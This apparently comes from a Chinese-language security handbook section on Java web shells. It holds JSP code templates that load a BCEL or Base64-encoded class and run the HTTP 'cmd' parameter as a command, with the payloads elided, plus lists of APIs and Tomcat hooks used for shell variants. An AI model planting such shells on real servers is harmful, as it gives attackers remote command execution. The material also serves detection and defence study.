5.3.12. WebShell¶

5.3.12.1. BCEL字节码¶

String bcelCode = "...";
response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString()).getBytes());

5.3.12.2. 自定义类加载器¶

response.getOutputStream().write(new ClassLoader() {
    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (name.contains("shell")) {
            return findClass(name);
        }
        return super.loadClass(name);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        try {
            byte[] bytes = Base64.getDecoder().decode("...");
            PermissionCollection pc = new Permissions();
            pc.add(new AllPermission());
            ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
            return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return super.findClass(name);
    }
}.loadClass("shell").getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes());
%>

5.3.12.3. 执行命令变式¶

java.lang.ProcessBuilder#start
java.lang.Runtime#exec
TemplatesImpl

5.3.12.4. 基于反射¶

class.forName
MethodAccessor.invoke
Method.invoke

5.3.12.5. 其他Shell变式¶

java.beans.Expression
java.lang.ClassLoader
java.net.URLClassLoader
jdk.nashorn.internal.runtime.ScriptLoader
ObjectInputStream.resolveClass
ScriptEngine.eval
ScriptEngineManager
ToolProvider.getSystemJavaCompiler

5.3.12.6. Tomcat 容器¶

Servlet
Filter
Listener